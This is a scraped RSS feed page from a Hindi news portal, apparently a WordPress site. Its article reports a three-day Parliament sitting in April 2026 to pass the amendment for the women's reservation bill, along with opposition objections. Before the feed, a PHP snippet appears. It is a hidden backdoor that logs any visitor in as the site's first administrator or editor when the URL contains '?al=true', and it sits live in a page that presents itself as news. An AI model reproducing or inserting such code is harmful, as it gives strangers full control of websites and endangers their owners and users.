// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Parliament Session 2026 – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 03 Apr 2026 04:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 महिला आरक्षण बिल के लिए संसद का विशेष सत्र, 16 से 18 अप्रैल तक होगी सदनों की कार्यवाही https://pratyushaashakinayikiran.com/?p=209879 Fri, 03 Apr 2026 04:25:00 +0000 https://pratyushaashakinayikiran.com/?p=209879 नई दिल्ली
संसद की 16 अप्रैल से 18 अप्रैल तक फिर से तीन बैठकें होंगी. संसद की इन तीन सीटिंग सरकार महिला आरक्षण बिल लागू करने के लिए जरूरी संशोधन लेकर आएगी और पारित कराएगी.

संसद के बजट सत्र का एक्सटेंशन होगा, यह अब औपचारिक रूप से तय हो गया है. राज्यसभा में संसदीय कार्य मंत्री किरेन रिजिजू ने कहा था कि संसद की कार्यवाही को अनिश्चितकाल के लिए स्थगित नहीं किया जाएगा. हम निश्चित उद्देश्य के लिए दो या तीन हफ्ते बाद फिर से बैठक बुलाएंगे. अब संसद की अगली बैठक की तारीख भी सामने आ गई है.

संसद के दोनों सदनों, लोकसभा और राज्यसभा की कार्यवाही आज अनिश्चितकाल के लिए स्थगित नहीं होगी. संसद के दोनों सदनों की बैठक 16 अप्रैल से फिर शुरू होगी. दोनों सदनों में 17 और अप्रैल को भी कार्यवाही चलेगी. संसद की इन तीन बैठकों के दौरान सरकार महिला आरक्षण लागू करने के लिए संविधान संशोधन बिल पारित कराएगी. यह एक तरह से बजट सत्र का ही एक्सटेंशन है.

गौरतलब है कि सरकार ने 2029 के आम चुनाव में महिलाओं के लिए आरक्षण की मंशा जताते हुए इसके संकेत दे दिए थे. विपक्षी दलों ने पांच राज्यों में चल रहे चुनाव के बाद इस मुद्दे पर सर्वदलीय बैठक बुलाने और इसके बाद संसद की बैठक बुलाकर इसे लागू करने की मांग सरकार से की थी. सुबह राज्यसभा में इसे लेकर सत्तापक्ष और विपक्ष के सदस्यों के बीच तल्ख और गर्मा-गर्म तकरार भी देखने को मिली थी.

कांग्रेस के चीफ व्हिप जयराम रमेश ने चुनाव के बीच ऐसा करने को आदर्श आचार संहिता का उल्लंघन बताया था. उन्होंने चुनाव बाद यह बिल लाने की अपील करते हुए कहा था कि जब यह बिल संसद से पारित हुआ था, विपक्ष ने तभी इसे तत्काल लागू करने की मांग की थी. तब सरकार ने जनगणना से परिसीमन तक बाध्यताएं गिना इसे तुरंत लागू करने से इनकार कर दिया था. अब तमिलनाडु और बंगाल में चुनाव हैं, तब इनको इस बिल की याद आई है.

 

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